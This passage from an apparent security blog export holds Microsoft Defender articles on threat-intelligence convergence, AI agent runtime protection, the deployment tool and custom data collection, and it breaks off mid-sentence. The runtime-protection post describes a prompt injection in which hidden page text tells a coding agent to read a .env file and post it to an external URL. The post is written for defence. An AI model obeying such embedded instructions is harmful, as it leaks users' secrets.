both the older Microsoft Defender Threat Intelligence connector and the newer one, check SourceSystem on ThreatIntelIndicators for duplicates before assuming this was a free upgrade with zero cost impact. Old rules and old names. Detections scoped to a specific connector or source need a check. Licensing wording. Some Learn pages still talk about a separate license, including the Graph reference pages above and the premium prerequisite on the connector page. The Message Center notice says an active Defender or Sentinel license is enough. Confirm in your own tenant. Rollout. Do not assume every tenant looks the same. Check the Threat intelligence menu per tenant. Sources Microsoft Tech Community: MDTI convergence in Microsoft Sentinel and Defender XDR is complete Microsoft Message Center notice MC1192257: Microsoft Defender Threat Intelligence: Convergence with Microsoft Defender and Microsoft Sentinel (mirror) Microsoft Learn: Threat intelligence in Microsoft Defender Microsoft Learn: Transition to the new Threat intelligence experience Microsoft Learn: Use Intel explorer in Microsoft Defender Microsoft Learn: View threat intelligence in entity pages Microsoft Learn: Threat analytics in Microsoft Defender Microsoft Learn: Enable the Microsoft Defender Threat Intelligence data connector Microsoft Learn: Work with STIX objects and indicators in Microsoft Sentinel Microsoft Learn: Microsoft Threat Intelligence APIs overview (Microsoft Graph) Microsoft Learn: Get hostReputation (Microsoft Graph API reference) Bottom line For anyone running Sentinel or Defender XDR, this puts Microsoft threat intelligence inside the tools your analysts already use: entity pages during triage, Intel explorer for pivoting, Threat analytics for reporting, and the Graph API for automation. The catch is not the convergence itself. It is making sure your connectors, tables, analytics rules, and cost baselines do not quietly assume the old setup.\n","date":"8 August 2026","externalUrl":null,"permalink":"/mdti-defender-and-sentinel/","section":"All articles","summary":"","title":"MDTI convergence: threat intelligence now built into Defender and Sentinel","type":"posts"},{"content":"Discovery tells you an agent exists. It doesn’t tell you when someone tries to hijack it. That’s the gap AI agent runtime protection in Microsoft Defender for Endpoint closes, and unlike discovery, this one actually stops things and raises alerts. It’s included with Defender for Endpoint Plan 2, Microsoft 365 E5, Microsoft Agent 365, or Microsoft 365 E7, though licensing scope for preview features like this one can still shift before general availability.\nIf a coding agent fetches a project’s documentation to answer a question, and that page contains hidden text instructing the agent to read the local .env file and post its contents to an external URL, the agent has no way to tell that instruction apart from the legitimate page content. It just read it. Runtime protection is what catches that moment and blocks it before anything leaves the device.\nWhat runtime protection detects The target is prompt injection: malicious instructions hidden inside otherwise legitimate content that an agent reads and then acts on. Defender inspects the three points where content enters or leaves the agent’s reasoning: the prompt itself, the tool call the agent is about to make, and the tool’s response once it comes back. It doesn’t matter where the injected instruction came from, a file, a web page, a repository, or a tool response, all three surfaces get inspected.\nHow AI agent runtime protection works This runs on agent hooks, defined points in an agent’s execution flow where an external tool can inspect and act before the agent continues. Claude Code and GitHub Copilot CLI both expose these hook points natively, which is what lets Defender plug in without touching the underlying model.\nThree stages get inspected:\nUser prompt: the prompt submitted to the agent Pre-tool call: the tool invocation request, before it executes Post-tool response: the tool’s response, after it comes back Each of these is a fast inline check at a single point, not continuous monitoring of the whole agent process, so the latency hit is minimal.\nThe three modes Block: Defender stops the action, notifies the user in the agent UI and via a Windows toast, records the detection in protection history, and raises a security alert correlated into an incident for the SOC. Audit: Defender lets the action continue but still records the detection and raises the alert, just as informational rather than something requiring triage. Disabled: no inspection at all. Microsoft’s own recommendation is to start in audit mode, watch what comes in, and only flip to block once you trust the accuracy. Worth noting the setting itself is protected by tamper protection, so it can’t be quietly switched off once you’ve enabled it.\nPrerequisites Requirement Detail Onboarding Device onboarded to Microsoft Defender for Endpoint Operating system Supported version of Windows, with Defender Antivirus on current monthly platform and engine updates Update channel Devices must be on the Beta platform and engine update channel, this is a hard requirement during preview Antivirus mode Defender Antivirus running in active mode Supported agent One or more supported local AI agents installed, and the agent must natively support a hooks framework Right now the supported agent list is short: Claude Code and GitHub Copilot CLI. That’s noticeably narrower than the list of agents Defender can merely discover, so don’t assume every agent your discovery inventory picks up is also covered by runtime protection.\nThe rollout Microsoft recommends, and I’d actually follow it Test: enable runtime protection in audit mode on a small set of devices where the supported agents are actively used. Review: watch alerts in the Defender portal for one to two weeks, and submit any false positives to Microsoft. Deploy: roll out audit mode to additional device groups. Enforce: switch to block mode once you’ve validated the alerts are accurate and actionable. Skipping straight to block mode on a feature that’s still in preview is asking for a frustrated developer at your service desk.\nEnabling it on a single device For testing or validation, this is a PowerShell job, no Intune policy exists for this yet.\nOpen an elevated PowerShell session. Put the device on the Beta update channel: PowerShellSet-MpPreference -PlatformUpdatesChannel Beta Set-MpPreference -EngineUpdatesChannel Beta Force three signature updates. This is required for preview validation, not optional: PowerShellUpdate-MpSignature Update-MpSignature Update-MpSignature Confirm the signature version is 1.451.224.0 or later: PowerShellGet-MpComputerStatus | Select-Object AntivirusSignatureVersion Enable runtime protection in your chosen mode: PowerShellSet-MpPreference -AiAgentProtection Audit Replace Audit with Block or Disabled depending on where you are in the rollout.\nVerify it’s actually set: PowerShellGet-MpPreference | Select-Object AiAgentProtection Deploying at scale with Intune There’s no native Intune policy for this setting, so scale means pushing the same PowerShell command as a script:\nCreate a script containing the mode you want for that rollout phase: PowerShellSet-MpPreference -AiAgentProtection Block Deploy it to target device groups using PowerShell scripts in Intune. Same command, same logic as the single-device test, just fanned out to a device group with Audit while you’re still validating and Block once you’re confident.\nWhat an alert actually looks like When runtime protection catches something, Defender raises a Suspicious AI prompt injection alert. In block mode the severity lands on Critical, High, Medium, or Low depending on assessed risk. In audit mode it’s Informational, so your analysts aren’t stuck triaging something that never actually ran.\nFor the end user, a block shows up two ways: a message in the agent’s own terminal explaining what was blocked and why, and a Windows toast notification regardless of whether that terminal window is even focused. They can also check Windows Security \u0026gt; Virus \u0026amp; threat protection \u0026gt; Current threats and Protection history for the same detection.\nFor the SOC, it’s a normal alert in the Defender portal, process tree, detection details, and recommended actions included, and it correlates into incidents the same way any other endpoint detection does. No new investigation workflow to learn.\nTesting it yourself with a benign prompt injection Before you trust any of this in front of a client, validate it on a throwaway test device. The trick is building a test that’s realistic enough to trigger the hook inspection, but genuinely harmless.\nDrop something like this into a folder Claude Code has access to, saved as instructions.txt. Then ask the agent something completely ordinary, “Can you summarize instructions.txt for me?”, and see what happens.\nA few things can happen from there. The model itself might recognize the injected instruction and refuse or flag it, independent of Defender entirely, which is worth noting as defense in depth rather than a failed test.\nIf the agent does attempt the call, that’s the pre-tool-call hook’s moment to catch it, and in block mode you should see the Suspicious AI prompt injection alert land in the portal shortly after.\nResources AI agent runtime protection with Microsoft Defender for Endpoint (Preview) Set up AI agent runtime protection with Microsoft Defender for Endpoint Local AI agent discovery with Microsoft Defender for Endpoint Claude Code hooks GitHub Copilot hooks Use PowerShell scripts on Windows devices in Intune Protect AI assets from emerging threats and vulnerabilities using Microsoft Defender Where this fits and what’s still missing Two supported agents is a real limitation right now, not a minor caveat. If your client’s developers are running Cursor, Windsurf, or any of the desktop apps that discovery already picks up, none of that traffic gets inspected yet. Runtime protection and discovery aren’t the same coverage footprint, and conflating them in a client conversation is an easy way to over promise.\nThe Beta update channel requirement is the other one to flag internally. That’s not something you want live on a production fleet during preview, and it’s easy to forget you’ve put a device there once the preview period drags on.\nWhat it does solve, cleanly, is the actual attack surface these agents introduce. Prompt injection isn’t hypothetical anymore, and having an inline check at the exact moment an agent is about to act on unverified content is a meaningfully different posture than hoping the model itself resists it.\nStart in audit mode, watch it for a couple of weeks, and don’t be surprised if your first alert comes from something completely unintentional rather than a real attack.\nAll feature details, prerequisites, PowerShell commands, and rollout guidance were verified against official Microsoft Learn documentation at time of writing. This is a preview feature and may change before general availability.\n","date":"5 July 2026","externalUrl":null,"permalink":"/ai-agent-runtime-protection/","section":"All articles","summary":"","title":"AI agent runtime protection in Microsoft Defender for Endpoint","type":"posts"},{"content":"","date":"5 July 2026","externalUrl":null,"permalink":"/microsoft-defender-for-endpoint/","section":"All topics","summary":"","title":"Microsoft Defender for Endpoint","type":"categories"},{"content":"Onboarding devices to Microsoft Defender for Endpoint has always been one of those tasks that looks simple on paper and turns messy the moment you touch a real environment. Different scripts per OS, onboarding blobs that expire without warning, and zero visibility into whether a rollout actually succeeded until someone notices a device missing from the portal. Microsoft has been quietly rebuilding this whole flow around the Defender deployment tool, and the latest wave of changes is worth a proper look if you are still relying on the old onboarding package and script approach.\nIn this post I go through what the deployment tool and deployment packages actually do differently, when it makes sense to use it over your existing onboarding method, how to generate a package, and where I think this still needs work before I would trust it for a large, multi-tenant estate.\nOne thing worth setting expectations on upfront: as of Microsoft’s most recent update to the documentation, the Windows version of the tool is no longer flagged as preview. The Linux version of the deployment tool still is, so if you run a mixed estate, don’t assume both are at the same maturity level.\nFrom onboarding scripts to deployment packages The old model was straightforward but brittle: download an onboarding package (a script or GPO blob) from the Defender portal, push it out through your management tool of choice, and hope the device picked it up correctly. There was no built-in expiry, no central view of which packages were still valid, and if that onboarding file leaked or sat on a file share for two years, it stayed usable.\nThe Defender deployment tool changes the model in a few concrete ways:\nThe onboarding configuration is now embedded directly into a single executable rather than shipped as a separate blob or script. Generating a package requires setting an expiration date, up to a year, after which the package stops working. Running the tool requires an access key generated in the portal at package-creation time, so having the executable alone is not enough to onboard a device. Onboarding and offboarding events are now visible in the device timeline and in advanced hunting, instead of giving you a bare exit code and nothing else. The tool skips redundant installation if Defender is already present, and gives UI feedback with error descriptions rather than a bare exit code when something goes wrong. Onboarding and offboarding can proceed even without connectivity, using offline mode, and resume once connectivity returns. There is a dedicated deployment packages overview under Settings \u0026gt; Endpoints \u0026gt; Deployment packages, where you can filter by active, expired or hidden packages. For anyone managing a multi-tenant or multi-customer estate, that last point alone is a meaningful improvement. Before this, tracking which onboarding packages were still floating around for a customer meant asking them, or trusting documentation that was rarely kept current.\nWhen this tool actually applies Before switching anything over, it is worth being clear on where the deployment tool fits, because it is not meant to replace every onboarding path you already have running.\nWindows client devices managed through Intune: Microsoft’s own Intune connector guidance labels the automatic onboarding option (“auto from connector”) as the recommended path once the service-to-service connection between Intune and Defender for Endpoint is set up. There’s no reason to route Intune-managed devices through the deployment tool instead. Devices not enrolled in Intune: this is where the tool is genuinely useful, for devices managed through SCCM, GPO, or another orchestration tool, or not centrally managed at all. On-premises Windows Servers: the tool works alongside whatever orchestration you already use to distribute software, since it exposes the same command-line and configuration-file options regardless of how it gets pushed out. Servers connected through Azure Arc, and Azure virtual machines: Microsoft’s Defender for Cloud documentation confirms that once the Defender for Servers plan is enabled, onboarding is auto-provisioned through the MDE.Windows or MDE.Linux extension, with no separate onboarding package needed. For new subscriptions this integration is enabled automatically and covers supported Windows Server and Linux machines. That makes the deployment tool mainly relevant for servers that are not (yet) Arc-connected or covered by Defender for Servers. For an operations team managing many devices, that narrows things down to a fairly specific but common gap: non-Intune-managed Windows devices and servers that fall outside Defender for Servers auto-provisioning. That is exactly the group that used to depend on the older onboarding scripts and blobs, so it is a sensible place to start piloting this.\nThe tool also carries its own legacy-OS story worth knowing about: it’s what installs the Defender endpoint security solution on Windows 7 SP1 and Windows Server 2008 R2 SP1, and that legacy solution itself has now reached general availability. It runs on a different underlying implementation than newer OS versions, though, so don’t assume full feature parity, and check the specific prerequisites first (the SHA-2 code signing update KB4474419, the servicing stack update KB4490628, and .NET 3.5 or later on Server 2008 R2 SP1).\nGenerating a deployment package The workflow for creating a new package sits in the same place onboarding always has, but with an extra step:\nIn the Microsoft Defender portal, go to System \u0026gt; Settings \u0026gt; Endpoints \u0026gt; Onboarding Choose Windows as the operating system Under deploying by downloading and applying packages or files, select Onboard On the package configuration page, give the package a unique, descriptive name and set an expiration date. Microsoft’s own guidance here is to keep the validity period as short as your rollout realistically allows, which lines up with how I would treat any credential with a long shelf life. Select Generate. You get an access key on screen, which you need to copy and store somewhere sane, because the tool prompts for it during onboarding. Download the tool as either a .zip or a standalone .exe. That access key is the part I would flag to anyone building a runbook around this. It behaves like a short-lived secret, not a public download link, so it needs to go through the same handling as any other deployment credential rather than sitting in a shared onboarding folder in plaintext.\nRunning the tool: interactive and non-interactive For one-off machines or small pilots, the interactive double-click flow is the quickest option:\nDouble-click the executable to launch it. Confirm you want to start onboarding when the dialog appears. Enter the access key you copied from the portal and continue Wait for installation to complete. No reboot is required in most cases, and if one is needed the tool tells you clearly rather than leaving you to guess from an exit code. For anything beyond a handful of devices, the command-line interface is where this becomes usable at scale. A few examples straight from the tool’s own help output:\nDefenderDeploymentTool_Name.exe -PreCheck Checks for prerequisites and logs results but does not proceed with installation or onboarding.\nDefenderDeploymentTool_Name.exe -Quiet Runs onboarding without any prompts, using the onboarding file in the same directory.\nDefenderDeploymentTool_Name.exe -Proxy:192.168.0.255:8080 -AllowReboot -Quiet Onboards through a proxy and allows an automatic reboot if one is required, without showing a console window.\nDefenderDeploymentTool_Name.exe -File:\\\\server\\share\\Defender.onboarding -Quiet Points the tool at an onboarding file on a network share, useful if you are not distributing it alongside the executable itself.\nOne thing the docs don’t spell out: your actual download isn’t literally named DefenderDT.exe, that’s just the generic name Microsoft uses in its examples. After running it, the tool drops a DefenderDT.exe copy into C:\\ProgramData\\Microsoft\\DefenderDeploymentTool alongside its log file, which you can use directly for any follow-up commands.\nFor repeatable deployments, generating a config file with -MakeConfig and editing the resulting MdeConfig.txt is worth doing early. It saves you from maintaining long command-line strings across GPO, SCCM or whatever orchestration tool you use, and it makes the deployment auditable, since the config file itself documents exactly what was run.\nA couple of the less obvious parameters are worth calling out specifically, since they solve real operational problems rather than just being flags for the sake of flags:\nDefenderDeploymentTool_Name.exe -PreCheck -Verbose -Quiet Runs a full prerequisite check and logs the results without touching the device. I would run this as a standalone step ahead of any bulk rollout, since it turns “why did onboarding fail on these forty machines” into something you can catch beforehand instead of after the fact.\nFor low-bandwidth sites or staged rollouts, the tool can also pre-download the installation files without onboarding anything yet:\nDefenderDeploymentTool_Name.exe -Stage Documented as downloading updates and installation files to the current directory for later use, this is worth combining with a config file if you are pushing to devices over a slow or unreliable link, so the actual onboarding step doesn’t also have to pull the full package down first.\nThe -UpdateOnly parameter is documented the same way: it installs the latest updates and platform components without performing onboarding, even if an onboarding file is present, which is useful for keeping already-onboarded fleets current without re-running the full onboarding sequence.\nThe full set of parameters exposed through the config file, straight from Microsoft’s own reference:\nParameter What it does -Offboard Configures the tool to perform offboarding (same parameter used as -offboard on the command line; casing doesn’t matter). -Yes Used with Offboard and Uninstall to proceed without user approval. -Stage Downloads installation files for all supported Windows versions to a location for staging. -Source Specifies the path to a folder containing staged installation files. -File Specifies the full path to the .onboarding or .offboarding file, if it isn’t in the current folder. -Proxy Proxy to use during and after installation. -Quiet Prevents any dialogs from displaying. -AllowReboot Allows device reboots if needed. -NoResumeAfterReboot Prevents the tool from resuming activities after a reboot. -Passive Windows Server only. Sets Defender Antivirus to run in passive mode. -UpdateOnly Installs updates but does not perform onboarding, even if an onboarding file is present. -Verbose Displays detailed information. -Precheck Checks for prerequisites and logs results but does not proceed with installation or onboarding. -Uninstall Offboards the device and uninstalls components added during onboarding. -RemoveMMA Optionally removes the specified workspace connection used by Microsoft Monitoring Agent. -Offline Allows offboarding to proceed even without connectivity. Run DefenderDeploymentTool_Name.exe -? on your own copy of the tool for the authoritative, up-to-date list, since this is exactly the kind of thing Microsoft tends to extend between releases.\nWhere this fits in a GPO or orchestrated rollout If you are still using Group Policy for onboarding, the steps look like this:\nPlace the executable and the onboarding file (and a config file, if you generated one) on a network share that the target devices can reach. In the Group Policy Management Console, create a new Group Policy Object or open an existing one for editing. Go to Computer configuration \u0026gt; Preferences \u0026gt; Control panel settings. Right-click Scheduled tasks, point to New, and select Immediate Task. On the General tab, set the task to run as the SYSTEM account, with Run whether user is logged on or not and Run with highest privileges both selected. On the Actions tab, point the task at the executable using its full UNC path, and add any command-line parameters you need in the arguments field, for example a -file: pointing at an onboarding file that is not in the tool’s working directory. Save the GPO and link it to the organizational unit containing your target devices. The difference from the previous approach is mainly what you are pointing the scheduled task at: one self-contained executable with its own onboarding configuration, instead of a script plus a separate onboarding package.\nIf you are placing the tool behind a firewall or proxy allowlist, note that it downloads and updates itself from the definitionupdates.microsoft.com domain. Since those files are served from a content distribution platform, there is no static or predictable IP range to whitelist instead, so the domain needs to be reachable by name rather than by IP.\nOffboarding a device Offboarding follows a similarly short, two-part flow:\nIn the Defender portal, go to System \u0026gt; Settings \u0026gt; Endpoints \u0026gt; Device management \u0026gt; Offboarding, select Windows, and download the offboarding package. This gives you a .zip file containing the .offboarding file (at least temporary – I am pretty sure Microsoft will release an easier way). Copy the extracted file to the target machine, open an elevated command prompt, and run the executable with the offboarding switch, for example: DefenderDT.exe -Offboard -File:WindowsDefenderATP_valid_until_2025-05-06.offboarding When prompted Are you sure you want to offboard? Yes(Y)/No(N)?, type Y to proceed. A successful run reports:\nMicrosoft Defender deployment tool completed, exit code: 0 [Success] For a fully unattended offboarding, add -Yes -Quiet to the same command to skip the confirmation prompt entirely. As with onboarding packages, the offboarding file itself is time-limited (seven days from download), so this is not something you can generate once and keep on a share indefinitely.\nTracking packages centrally For anyone managing many customer tenants, the deployment packages page is where the day-to-day value shows up: it replaces asking a customer what onboarding method they used eighteen months ago with a direct answer. Expired or forgotten onboarding packages are exactly the kind of loose end that shows up in a security review and is hard to explain away, so having them visible and filterable in one place closes a real gap.\nTroubleshooting a failed run Before opening a support case, Microsoft’s own guidance points to a few places worth checking first:\nThe tool’s own log, at C:\\ProgramData\\Microsoft\\DefenderDeploymentTool\\DefenderDeploymentTool-\u0026lt;COMPUTERNAME\u0026gt;.log. The Windows Application event log, under the sources WDATPOnboarding and WDATPOffboarding. The services themselves, with sc.exe query sense and sc.exe query windefend. Both should report STATE: 4 RUNNING on a healthy device. The tool also returns a documented exit code on completion, which is worth wiring into whatever orchestration or RMM tool triggers it, rather than only checking the log after the fact:\nExit code Meaning 0 Sequence completed successfully 1 Another instance is already running 2 Device is already onboarded: no action required 3 Offboarding is only available for onboarded devices 10 A reboot is required to continue: the tool resumes automatically unless -NoResumeAfterReboot was specified 40 Please run the tool with administrative permissions 50 Unsupported operating system 70 Configuration file error detected 90 Prerequisite check(s) failed 200 Onboarding failed: sensor initialization error 201 Onboarding file missing or not specified 300 Offboarding failed 301 Offboarding file missing or not specified 400 Download failed: unable to retrieve required component 500 Installation failed: unable to install required components 710 Failed to enable the Defender Antivirus feature 730 / 740 Sovereign cloud signature or registry configuration failure 1000 An unspecified error occurred This is a trimmed list of the ones I’d actually watch for in day-to-day operations; Microsoft’s reference has the complete set, including several more granular codes for update and uninstall failures.\nConsiderations and limitations A few points worth being upfront about, straight from Microsoft’s own documentation, rather than presenting this as a finished, edge-case-free solution:\nIf a reboot is required during the interactive experience, you have to sign back in after the reboot for the sequence to resume. Skipping that step leaves the device only partially onboarded. On Windows Server 2016 and later, if the Defender Antivirus feature was previously uninstalled or removed, you may hit a documented error during the Enabling Feature ‘Windows-Defender’ step (exit code 710, error 14081, “The referenced assembly could not be found”). Microsoft is explicit that this isn’t caused by the Defender Antivirus feature or source files themselves, and recommends opening a support case for Windows Servers if you hit it. On Windows 7, passive mode is set with the -passive parameter, but there is currently no equivalent to the ForceDefenderPassiveMode registry key that servers use to flip back to active mode afterwards. Switching back means offboarding, uninstalling, and running the tool again without the passive parameter. No integration with existing onboarding methods yet means you cannot simply layer this on top of an Intune or SCCM-based fleet without deciding how the two coexist; the tool remains its own onboarding methodology for now. References Deploy Microsoft Defender endpoint security to Windows devices using the Defender deployment tool: Microsoft Learn Onboard previous versions of Windows on Microsoft Defender for Endpoint: Microsoft Learn What’s new in Microsoft Defender for Endpoint: Microsoft Learn Closing thoughts This is a genuine improvement over the old script-and-blob approach, mainly because it finally gives onboarding a lifecycle: an expiry, an access key, and a place to see what is still active. For teams managing many customer tenants specifically, the centralised deployment packages view is the detail I would point a customer to first, since it directly addresses the “which onboarding package is this device even using” question that used to require manual digging.\nIf you are planning a migration to this tool across an existing estate, start small, keep expiry windows short, and treat the access key with the same care you would give any other deployment credential.\nWorth noting for mixed estates: a Linux version of the deployment tool exists as well, combining installation and onboarding the same way. I have not tested it myself yet, but it is on my list for a follow-up post once I have run it against a real Linux fleet.\n","date":"6 June 2026","externalUrl":null,"permalink":"/defender-deployment-tool-mde-onboarding/","section":"All articles","summary":"","title":"Defender deployment tool: Easy and simple onboarding for Defender for Endpoint","type":"posts"},{"content":"If you’ve been working with Microsoft Defender for Endpoint (MDE) for any length of time, you’ve probably run into this situation: you’re hunting for a specific behavior, you know it happened on a device, but when you query Advanced Hunting, there’s nothing. The event simply isn’t there.\nThis isn’t a bug. It’s by design. Until recently, your only real options were to deploy Sysmon alongside Defender for Endpoint, managing another agent, another configuration, and a completely different schema.\nCustom data collection, which reached general availability in May 2026, gives you a way to collect the specific telemetry you need without those workarounds. This guide covers what problem it actually solves, what it costs, and how to configure it end to end.\nThe real problem: Defender for Endpoint drops events Olaf Hartong and the team at FalconForce have done thorough work documenting how Defender for Endpoint works under the hood. Their MDE Internals blog series is required reading for anyone doing detection engineering with Defender.\nHere’s the short version:\nDefender for Endpoint applies caps and sampling to limit how much telemetry gets uploaded to the cloud. For many event types, you’ll only see one event per 24 hours for each unique combination of field values. Run the same process a hundred times with identical parameters you’ll see it once in Advanced Hunting.\nThe reason is straightforward. Defender for Endpoint is sold at a fixed price per device. If every customer could upload unlimited telemetry, backend costs would be unpredictable. So Microsoft made a trade-off: enough data for most use cases, but capped volume.\nFor day-to-day security operations, this is generally fine. The alerts fire, incidents get created, you can investigate. But for custom detections or proactive threat hunting, these gaps become a real problem. A concrete example: malware that beacons to a C2 server every 10 minutes. With standard Defender for Endpoint telemetry, you might see only a handful of connections to that server because once Defender for Endpoint logs the first connection with a specific process/destination combination, duplicate connections don’t appear for 24 hours. The beaconing pattern that would make detection trivial? Invisible.\nThe table that suffers most is DeviceImageLoadEvents. DLL loads are sampled so aggressively that FalconForce describes it as “very unreliable.” No events in the portal genuinely does not mean nothing happened on the machine.\nWhat custom data collection actually does Custom data collection lets you define rules that collect specific events and send them to Microsoft Sentinel without the standard Defender for Endpoint caps. The data lands in separate tables so it doesn’t interfere with your normal Defender for Endpoint data.\nThere is still a limit: 75,000 events per rule, per device, per day (raised from 25,000 at GA). This is a protective cap to prevent runaway costs, not a sampling mechanism. A well-scoped rule will never hit it.\nSupported tables:\nStandard MDE table Custom data collection table DeviceProcessEvents DeviceCustomProcessEvents DeviceNetworkEvents DeviceCustomNetworkEvents DeviceFileEvents DeviceCustomFileEvents DeviceImageLoadEvents DeviceCustomImageLoadEvents DeviceScriptEvents DeviceCustomScriptEvents One thing worth noting on DeviceScriptEvents: AMSI events from that table are not available in standard Advanced Hunting, but custom collection routes them to DeviceCustomScriptEvents in Sentinel. So for script-based attack detection, custom collection gives you visibility you simply cannot get any other way through the MDE stack.\nNotice what’s missing: no registry events, no named pipes, no driver loads. If you need those, you still need Sysmon. Custom data collection is a targeted solution for specific gaps, not a complete replacement.\nThe custom tables share the same schema as their standard counterparts, with three additional fields: RuleName, RuleLastModificationTime, and Type. These make it easy to identify which rule needs tuning when you’re reviewing results.\nWhich scenarios are worth implementing Custom data collection is included with Defender for Endpoint P2, but every event you collect goes to Microsoft Sentinel and gets billed at Sentinel ingestion rates. Before creating any rules, be clear about what gaps you’re actually filling.\nHigh priority usually worth implementing:\nScenario Why it matters Expected volume LSASS spawning a child lsass process Credential dumping technique not logged by default in MDE. Use ProcessCreated filtering on lsass.exe as both parent and child Low, very targeted AMSI script content collection Script events from DeviceScriptEvents are not available in standard Advanced Hunting at all, the clearest gap custom data collection fills Medium, scope to specific processes Unsigned DLLs from temp folders DeviceImageLoadEvents is heavily sampled in standard MDE: DLL side-loading attempts are largely invisible without custom collection Medium Executions from uncommon locations Standard MDE deduplicates ProcessCreated after the first unique combination per 24 hours, repeated execution from temp or AppData folders disappears Medium, broad path list File modifications in sensitive directories Config tampering, persistence mechanisms, Mimikatz .kirbi ticket files Low if scoped well Advanced use cases worth considering:\nScenario Why it matters Implementation tip Web shell detection on web servers Monitor wwwroot and inetpub for script file creation Scope to web server device group only Verbose logging during incidents Temporarily enable broader collection on compromised machines Use dynamic tags, remove after investigation .NET CLR loads outside framework folder Detect in-memory .NET execution used by Cobalt Strike and similar Filter to clr.dll, clrjit.dll, mscoree.dll outside C:\\Windows\\Microsoft.NET\\ Approach with caution: can get expensive fast:\nScenario Why it’s risky All process creation events Massive volume, duplicates existing data All network connections Volume will explode costs All file operations everywhere You’ll hit the 75,000 event cap and pay a fortune Broad “just in case” rules Data without purpose is waste Prerequisites Licensing Component Requirement Notes Microsoft Defender for Endpoint Plan 2 (P2) Plan 1 does not include custom data collection Microsoft Sentinel Active workspace Required for data storage Microsoft 365 license E5, E5 Security, or standalone MDE P2 A5/G5 variants also work Supported operating systems Operating system Minimum version Notes Windows 11 Any version MDE client 10.8805+ required Windows 10 1809 or later ESU enrollment required Windows Server 2022 Any version MDE client 10.8805+ required Windows Server 2019 Any version MDE client 10.8805+ required Windows Server 2016 ❌ Windows Server 2012 R2 ❌ macOS ❌ Linux ❌ Defender for Endpoint client requirements Requirement Minimum value How to verify Sense client version 10.8805 or higher Query DeviceInfo table. See KQL below Real-time protection Enabled Required for telemetry collection Cloud-delivered protection Enabled Required for backend communication Query to check client versions across your environment:\nKQLDeviceInfo | where Timestamp \u0026gt; ago(1d) | summarize arg_max(Timestamp, *) by DeviceId | project DeviceName, OSPlatform, OSVersionInfo, ClientVersion | where ClientVersion \u0026lt; \u0026#34;10.8805\u0026#34; | order by DeviceName Portal and permission requirements Requirement Details Defender portal access security.microsoft.com Required role Security Administrator, Security Operator, or Global Administrator Sentinel workspace permissions Contributor or higher on the Log Analytics workspace Configuration prerequisites Component Status needed Where to configure Sentinel workspace Created and active Azure Portal → Microsoft Sentinel Defender-Sentinel connection Connected Defender Portal → Settings → Microsoft Sentinel Dynamic tags Only required if using tag-based scoping. Must be run at least once before use. Static tags are not supported. Defender Portal → Settings → Asset rule management If you plan to scope rules to specific device groups, configure dynamic tags before creating rules. If you deploy org-wide, you can skip this.\nStep 1: Connect your Microsoft Sentinel workspace Even if you already have Sentinel connected to Defender for other features, you need to explicitly select it for custom data collection.\nOpen the Microsoft Defender portal at security.microsoft.com Click Settings in the left navigation Select Endpoints Scroll down to Rules Click Custom Data Collection You’ll see the overview page showing any existing rules.\nIn the top-right corner, click the Microsoft Sentinel workspace dropdown or link, select your workspace from the list, and click Save.\nImportant limitation: You can only connect one Sentinel workspace per Defender tenant for custom data collection. If you have multiple workspaces, decide which one receives the custom telemetry before you start.\nStep 2: Configure dynamic tags Dynamic tags are needed if you want to scope rules to specific device groups rather than deploying to all devices. If you skip this and choose “all applicable client devices” when creating rules, you can come back and configure tags later when you want more targeted deployment.\nDynamic tags are automatically applied to devices based on rules you define in Asset Rule Management. Unlike static tags, they update as your environment changes.\nCreate a dynamic tag In the Defender portal, go to Settings → Microsoft Defender XDR Click Asset rule management Click Create rule Configure the tag rule Rule name: Something descriptive “Custom Data Collection Pilot Group” Description: Explain what devices this targets Conditions: Define which devices get this tag Example conditions:\nCondition type Operator Value Device name Contains “P-“ OS Platform Equals “Windows 11” Device group Equals “Personal Devices” Tag to apply: Enter the tag name that will be stamped on matching devices e.g., “CustomCollectionPilot” Click Submit Wait for propagation Dynamic tag rules run approximately every hour. After creating the rule, wait for it to run at least once before using the tag in collection rules. Verify tags are applied by going to Assets → Devices, selecting a device, and checking the Tags field.\nStep 3: Create your first custom data collection rule With your Sentinel workspace connected and your pilot tag ready, create the following rule:\nThis example uses DeviceScriptEvents with the AmsiScriptContent action type. AMSI script events are not available in standard Advanced Hunting: DeviceScriptEvents is not queryable in the portal without custom data collection. This is exactly the gap the feature is designed to fill: telemetry that MDE collects on the endpoint but never exposes in Advanced Hunting under normal circumstances.\nStart the rule wizard From the Custom Data Collection page, click Create rule Configure general information Enter the following:\nRule name: AMSI script content collection Description: Captures AMSI script content events from PowerShell for script-based attack detection. DeviceScriptEvents is not available in standard Advanced Hunting. Enabled: Toggle ON Click Next Define the collection rule Configure as follows:\nTable: DeviceScriptEvents Action type: AmsiScriptContent Add filter conditions Configure the following conditions. The top-level operator is AND, with a subgroup using OR for the command line exclusions.\nTop level (AND):\nSource Operator Value InitiatingProcessSHA1 Not equals 1 This condition is always true: no real SHA1 hash will ever equal “1”. It serves as a catch-all to collect all events while still satisfying the filter requirement.\nAdd subgroup (OR), excludes known MDE-internal scripts:\nSource Operator Value InitiatingProcessCommandLine Not equals “cscript.exe” /nologo “MonitorKnowledgeDiscovery.vbs” InitiatingProcessCommandLine Does not start with powershell.exe -ExecutionPolicy AllSigned -NoProfile -NonInteractive -Command “\u0026amp; {OutputEncoding=[Console]::OutputEncoding=[System.Text.Encoding]::UTF8;OutputEncoding = [Console]::OutputEncoding =[System.Text.Encoding]::UTF8;OutputEncoding=[Console]::OutputEncoding=[System.Text.Encoding]::UTF8;scriptFileStream The OR subgroup excludes two known MDE-native script executions that would otherwise generate noise. Add further exclusions here as you identify other internal processes in your environment.\nDefine rule scope The portal gives you two options:\nAll applicable client devices, deploys to every Windows device enrolled in Defender for Endpoint. Corresponds to scope: Organization in TelemetryCollectionManager. Simple to configure but highest potential cost, so only use this for critical rules you genuinely need everywhere.\nSpecific devices that include dynamic tags, deploys only to devices with the selected tag. Use this for testing, cost control, or scenario-specific monitoring such as web servers or domain controllers.\nIf you choose tag-based scoping, the tags must be dynamic (configured in Asset Rule Management), not manual static tags.\nClick Next, review your settings, then click Submit.\nDeployment timeline: Rules take 20 minutes to 1 hour to propagate to devices.\nStep 4: Verify data is flowing After creating rules and waiting for deployment, verify everything works.\nCheck rule status Go to Settings → Endpoints → Rules → Custom Data Collection, find your rule, and confirm the status column shows Enabled.\nQuery custom tables in Advanced Hunting Check for any events from your rules:\nKQLDeviceCustomScriptEvents | where TimeGenerated \u0026gt; ago(1h) | where RuleName == \u0026#34;AMSI script content collection\u0026#34; | take 10 What if no data appears? Wait at least 1 hour after rule creation before 